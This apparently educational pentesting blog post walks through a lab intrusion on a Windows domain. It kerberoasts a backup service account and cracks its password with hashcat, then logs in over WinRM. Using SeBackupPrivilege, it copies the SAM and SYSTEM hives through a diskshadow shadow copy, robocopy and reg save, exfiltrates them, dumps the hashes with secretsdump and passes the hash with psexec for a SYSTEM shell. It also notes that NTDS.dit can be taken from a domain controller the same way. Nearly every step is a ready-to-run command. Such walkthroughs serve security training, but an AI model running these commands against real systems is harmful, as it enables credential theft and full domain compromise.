In this post we are going to extract a copy of the SAM and SYSTEM file from a Windows Server using a service account that has SeBackupPrivilege enabled.

We will have a look at a scenario where we have gotten a foothold on the server as a regular domain user. From there, we will kerberoast a Backup Service account and login with the cracked credentials. Next, we will utilize the SeBackupPrivilege of the service account to extract a copy of the SAM file. After that, we will exfiltrate the SAM file to our attacker machine and dump the hashes locally. Lastly, we will perform a pass-the-hash attack and privesc to an admin shell on the server.

SeBackupPrivilege allows file content retrieval, even if the security descriptor on the file might not grant such access. A caller with SeBackupPrivilege enabled eliminates the need for any ACL-based security check.

The takeaway is that with SeBackupPrivilege enabled, the attacker can backup the entire drive, which includes files that the user with the permission does not have permissions on. From there, the attacker can access any of the files from the backup volume they create.

Example Scenario: Kerberoasting a Service Account with SeBackupPrivileges Enabled

In this scenario two domain joined machines. Both machines are running Windows Server 2019, one is the Backup Server (172.16.1.10) and the other is the DC (172.16.1.5).

For some context, we have gotten a foothold on the Backup Server as a regular domain user: efrost. We leveraged a web-application vulnerability to obtain our foothold, so we do not have the users’ password.

After gaining a foothold, we decide to start enumerating the domain and find the following important information:

• There are two service accounts in this domain.

net user /domain

• The account backup_svc is in the Backup Operators group, which means it has the SeBackupPrivilege. The account is also in the Remote Management Users group and is managed by user nessex.

A user in the Remote Management Users group has the ability to perform PS-Remoting over port 5985 WinRM.

net user backup_svc /domain

• User nesex is in the Domain Admins group.

net group "Domain Admins" /domain

• User nessex has a user profile on this machine, which indicates that the user has logged in before.

• Both of the service accounts have SPNs assigned to them, which makes them kerberoastable.

setspn -T juggernaut.local -F -Q */*

We begin with a kerberoast attack in an attempt elevate to one of the service accounts using Rubeus.exe.

After downloading Rubeus.exe onto the victim, we successfully request both service accounts service tickets (TGS-REP hashes) using the following command:

.\Rubeus.exe kerberoast

After that, we copy both hashes into a TXT file on our attacker machine and then remove all of the newlines so that it can be cracked using hashcat.

Using hashcat’s help menu, we find that the cracking mode for TGS-REP hashes is 13100. We then take that information and use it to craft our hashcat command to crack the hashes.

hashcat -h | grep -i 'kerberos'
hashcat -m 13100 ./service_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_hashes.txt

And in a few seconds we successfully cracked one of the service accounts password.

Checking our output file, we find that we have cracked the hash of the backup_svc account.

backup_svc : Makemoney1!

This was just a quick example of kerberoasting. To see more examples on how to perform this attack, check out my post on kerberoasting.

From our enumeration earlier, we saw that this account was part of the Remote Management Users group. This means that we should be able to get a shell over WinRM.

To test if we can get a shell on either the Backup Server or the DC over WinRM, we will use a great tool called crackmapexec and the following command:

crackmapexec winrm 172.16.1.5 172.16.1.10 -d juggernaut.local -u backup_svc -p 'Makemoney1!'

Seeing Pwn3d! means we have WinRM access to the Backup Server; however, we do not have WinRM access to the DC.

With this finding, we can login to the Backup Server using the credentials we found and an incredible tool called evil-winrm and the following command:

evil-winrm -u backup_svc -p 'Makemoney1!' -i 172.16.1.10

From earlier we saw that this user was part of the Backup Operators group, so we quickly check our privileges using whoami /priv and see that we indeed have SeBackupPrivilege enabled!

Extracting a Copy of the Local SAM File Using diskshadow.exe and robocopy

Now that we have logged in with the service account and confirmed we have SeBackupPrivileges, there are two ways we can extract a copy of the local SAM file.

For the first example we will extract a copy of the SAM file is by creating a shadow copy of C: using diskshadow.exe. After creating a shadow copy of C:, we can interact with it and access any file from the file system. Since this is a copy of C:, we can directly access the SAM and SYSTEM files.

diskshadow.exe is installed only on Windows Server by default.

Since diskshadow.exe is an interactive command and we currently have a non-interactive session, we have to craft a TXT file that we can feed into diskshadow.exe. This will allow us to execute the necessary commands and create our shadow copy.

Use the following commands directly on the victim machine to craft the diskshadow.txt file:

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append        
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

The above commands essentially tells diskshadow.exe to create a copy of C: and name it Z: and expose it (make it accessible as a drive).

Now when we feed this file into diskshadow.exe, it will go through line by line executing each command.

After creating our diskshadow.txt file, we can create our shadow copy using the following command:

diskshadow.exe /s c:\temp\diskshadow.txt

Now that the shadow copy has been successfully created and exposed as Z:, we can use the following robocopy commands to extract a copy of the SYSTEM and SAM files from Z:\windows\system32\config:

robocopy /b Z:\Windows\System32\Config C:\temp SAM
robocopy /b Z:\Windows\System32\Config C:\temp SYSTEM

If you have access to the DC as a user with SeBackupPrivileges, you have pwnt the domain. On the DC, you can repeat the same steps as above but instead of targeting the local SAM file, you can target the NTDS.dit file. The SAM file contains local user hashes, whereas the NTDS.dit file contains all of the domain user hashes!

Exfiltrating the SAM and SYSTEM Files, Dumping the Hashes, and Performing a Pass-the-Hash Attack to Escalate to SYSTEM

Since we are using evil-winrm, we can use the built-in upload functionality to exfiltrate these files to our attacker machine.

download .\SAM /opt/Juggernaut/JUGG-Backup/SAM
download .\SYSTEM /opt/Juggernaut/JUGG-Backup/SYSTEM

Back on our attacker machine, we confirm that both files downloaded successfully.

Now that we have exfiltrated a copy of the SYSTEM and SAM file onto our attacker machine, we can dump the hashes using secretsdump.py.

 secretsdump.py is part of the Impacket Suite of Tools, which is an excellent collection that all hackers NEED to have in their tool belt.

secretsdump.py -sam SAM -system SYSTEM LOCAL

The only interesting finding is the local Administrator’s hash. In this example we will use psexec.py, which is also from the Impacket Suite of Tools to pass-the-hash using the local admin hash to get a SYSTEM shell on the Backup Server. Copy the entire NTLM hash and plug it into the following command:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4 administrator@172.16.1.10

For a more in-depth look at pass-the-hash attacks, check out my post on the topic here.

An Easier Way to Extract a Copy of the Local SAM File Hash with SeBackupPrivilege

The second way we will extract a copy of the SAM file is by saving the file from the registry. This technique was seen in the first post about extracting SAM files.

By default SeBackupPrivileges permit the user to export registry hives.

Using the following commands we can extract a copy of the SAM and SYSTEM file from the registry:

reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM

Can We Perform This Attack on a Windows 10 Host?

The short answer: Yes. However, from my experience testing different ways to perform this attack, the only way I found that worked on a Windows 10 host had specific requirements. That is, you need to know the password of the user who has the SeBackupPrivilege and you need to have RDP (GUI) access on the host.

Piggy-backing off of the example scenario, lets pretend that we got a foothold as a regular domain user on a Windows 10 host instead of the Backup Server. From there, when we did our domain enumeration we saw that the backup_svc user was also a part of the Remote Desktop Users group.

Continuing with the example scenario, we kerberoast the backup_svc account and crack the password. Now instead of using evil-winrm to get our shell, we will use xfreerdp like so:

sudo xfreerdp /u:backup_svc /p:'Makemoney1!' /d:juggernaut.local /v:172.16.1.100 +clipboard

This is where we will see why GUI is required.

We know we are in the Backup Operators group; however, when we use whoami /priv it does not show that we have SeBackupPrivilege.

By default the SeBackupPrivilege is not enabled in a low-integrity shell. To enable the privilege you need to open command prompt with “Run as Administrator”. A UAC prompt will pop-up requesting the current user’s password. This is how windows handles permissions for user’s in the Backup Operators group.

Once the password is entered, the privileges are enabled.

Now that we have the SeBackupPrivilege, we can extract a copy of the SAM and SYSTEM files from the registry like before.

reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM